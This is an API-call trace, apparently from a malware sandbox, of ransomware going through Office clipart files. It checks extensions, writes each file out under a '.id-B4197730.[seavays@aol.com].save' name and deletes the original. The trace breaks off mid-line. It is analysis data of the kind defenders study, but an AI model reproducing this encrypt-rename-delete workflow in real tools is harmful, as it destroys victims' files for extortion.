[0168.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.711] lstrlenW (lpString=".rar") returned 4 [0168.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.711] lstrlenW (lpString=".bz2") returned 4 [0168.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.712] lstrlenW (lpString=".7z") returned 3 [0168.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.712] lstrlenW (lpString=".dbf") returned 4 [0168.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.712] lstrlenW (lpString=".1cd") returned 4 [0168.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.712] lstrlenW (lpString=".jpg") returned 4 [0168.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.712] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.712] lstrlenW (lpString="J0105298.WMF") returned 12 [0168.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.857] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=6320) returned 1 [0168.857] CloseHandle (hObject=0x530) returned 1 [0168.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0168.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.858] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.858] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.858] GetLastError () returned 0x0 [0168.858] ReadFile (in: hFile=0x530, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x18b0, lpOverlapped=0x0) returned 1 [0168.860] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x18c0, lpOverlapped=0x0) returned 1 [0168.862] ReadFile (in: hFile=0x530, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.862] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.862] SetEndOfFile (hFile=0x508) returned 1 [0168.862] CloseHandle (hObject=0x508) returned 1 [0168.862] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.862] SetEndOfFile (hFile=0x530) returned 1 [0168.866] CloseHandle (hObject=0x530) returned 1 [0168.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0168.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.867] lstrlenW (lpString=".doc") returned 4 [0168.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.867] lstrlenW (lpString=".docx") returned 5 [0168.867] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.867] lstrlenW (lpString=".pdf") returned 4 [0168.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.868] lstrlenW (lpString=".xls") returned 4 [0168.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.868] lstrlenW (lpString=".xlsx") returned 5 [0168.868] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.868] lstrlenW (lpString=".ppt") returned 4 [0168.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.868] lstrlenW (lpString=".zip") returned 4 [0168.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.868] lstrlenW (lpString=".rar") returned 4 [0168.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.868] lstrlenW (lpString=".bz2") returned 4 [0168.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.868] lstrlenW (lpString=".7z") returned 3 [0168.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.868] lstrlenW (lpString=".dbf") returned 4 [0168.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.868] lstrlenW (lpString=".1cd") returned 4 [0168.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.868] lstrlenW (lpString=".jpg") returned 4 [0168.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.868] lstrlenW (lpString=".doc") returned 4 [0168.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".docx") returned 5 [0168.869] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.869] lstrlenW (lpString=".pdf") returned 4 [0168.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".xls") returned 4 [0168.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.869] lstrlenW (lpString=".xlsx") returned 5 [0168.869] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.869] lstrlenW (lpString=".ppt") returned 4 [0168.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.869] lstrlenW (lpString=".zip") returned 4 [0168.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.869] lstrlenW (lpString=".rar") returned 4 [0168.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".bz2") returned 4 [0168.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString=".7z") returned 3 [0168.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.869] lstrlenW (lpString=".dbf") returned 4 [0168.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.869] lstrlenW (lpString=".1cd") returned 4 [0168.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0168.869] lstrlenW (lpString=".jpg") returned 4 [0168.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.870] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.870] lstrlenW (lpString="J0105332.WMF") returned 12 [0168.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.872] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=10508) returned 1 [0168.872] CloseHandle (hObject=0x530) returned 1 [0168.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0168.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.873] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.873] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.874] GetLastError () returned 0x0 [0168.874] ReadFile (in: hFile=0x530, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x290c, lpOverlapped=0x0) returned 1 [0168.876] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2910, lpOverlapped=0x0) returned 1 [0168.877] ReadFile (in: hFile=0x530, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.877] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.878] SetEndOfFile (hFile=0x508) returned 1 [0168.878] CloseHandle (hObject=0x508) returned 1 [0168.878] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.878] SetEndOfFile (hFile=0x530) returned 1 [0168.882] CloseHandle (hObject=0x530) returned 1 [0168.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0168.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.883] lstrlenW (lpString=".doc") returned 4 [0168.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.883] lstrlenW (lpString=".docx") returned 5 [0168.883] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.883] lstrlenW (lpString=".pdf") returned 4 [0168.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.883] lstrlenW (lpString=".xls") returned 4 [0168.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.883] lstrlenW (lpString=".xlsx") returned 5 [0168.883] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.884] lstrlenW (lpString=".ppt") returned 4 [0168.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.884] lstrlenW (lpString=".zip") returned 4 [0168.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.884] lstrlenW (lpString=".rar") returned 4 [0168.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.884] lstrlenW (lpString=".bz2") returned 4 [0168.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.884] lstrlenW (lpString=".7z") returned 3 [0168.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.884] lstrlenW (lpString=".dbf") returned 4 [0168.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.884] lstrlenW (lpString=".1cd") returned 4 [0168.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.884] lstrlenW (lpString=".jpg") returned 4 [0168.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.884] lstrlenW (lpString=".doc") returned 4 [0168.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.884] lstrlenW (lpString=".docx") returned 5 [0168.884] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.884] lstrlenW (lpString=".pdf") returned 4 [0168.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString=".xls") returned 4 [0168.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.885] lstrlenW (lpString=".xlsx") returned 5 [0168.885] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.885] lstrlenW (lpString=".ppt") returned 4 [0168.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.885] lstrlenW (lpString=".zip") returned 4 [0168.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.885] lstrlenW (lpString=".rar") returned 4 [0168.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString=".bz2") returned 4 [0168.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString=".7z") returned 3 [0168.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.885] lstrlenW (lpString=".dbf") returned 4 [0168.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.885] lstrlenW (lpString=".1cd") returned 4 [0168.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0168.885] lstrlenW (lpString=".jpg") returned 4 [0168.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.886] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.886] lstrlenW (lpString="J0105336.WMF") returned 12 [0168.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.887] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=2900) returned 1 [0168.887] CloseHandle (hObject=0x530) returned 1 [0168.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0168.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0168.888] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.888] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0168.889] GetLastError () returned 0x0 [0168.889] ReadFile (in: hFile=0x530, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0xb54, lpOverlapped=0x0) returned 1 [0168.984] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xb60, lpOverlapped=0x0) returned 1 [0168.985] ReadFile (in: hFile=0x530, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.985] WriteFile (in: hFile=0x508, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.985] SetEndOfFile (hFile=0x508) returned 1 [0168.985] CloseHandle (hObject=0x508) returned 1 [0168.985] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.986] SetEndOfFile (hFile=0x530) returned 1 [0168.988] CloseHandle (hObject=0x530) returned 1 [0168.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0169.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0169.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.757] lstrlenW (lpString=".doc") returned 4 [0169.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.757] lstrlenW (lpString=".docx") returned 5 [0169.757] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.757] lstrlenW (lpString=".pdf") returned 4 [0169.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.757] lstrlenW (lpString=".xls") returned 4 [0169.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.757] lstrlenW (lpString=".xlsx") returned 5 [0169.757] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.757] lstrlenW (lpString=".ppt") returned 4 [0169.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.757] lstrlenW (lpString=".zip") returned 4 [0169.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.758] lstrlenW (lpString=".rar") returned 4 [0169.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.758] lstrlenW (lpString=".bz2") returned 4 [0169.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.758] lstrlenW (lpString=".7z") returned 3 [0169.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.758] lstrlenW (lpString=".dbf") returned 4 [0169.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.758] lstrlenW (lpString=".1cd") returned 4 [0169.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.758] lstrlenW (lpString=".jpg") returned 4 [0169.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.758] lstrlenW (lpString=".doc") returned 4 [0169.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.758] lstrlenW (lpString=".docx") returned 5 [0169.758] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.758] lstrlenW (lpString=".pdf") returned 4 [0169.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.758] lstrlenW (lpString=".xls") returned 4 [0169.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.759] lstrlenW (lpString=".xlsx") returned 5 [0169.759] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.759] lstrlenW (lpString=".ppt") returned 4 [0169.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.759] lstrlenW (lpString=".zip") returned 4 [0169.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.759] lstrlenW (lpString=".rar") returned 4 [0169.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.759] lstrlenW (lpString=".bz2") returned 4 [0169.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.759] lstrlenW (lpString=".7z") returned 3 [0169.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0169.759] lstrlenW (lpString=".dbf") returned 4 [0169.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.759] lstrlenW (lpString="C:\\Program 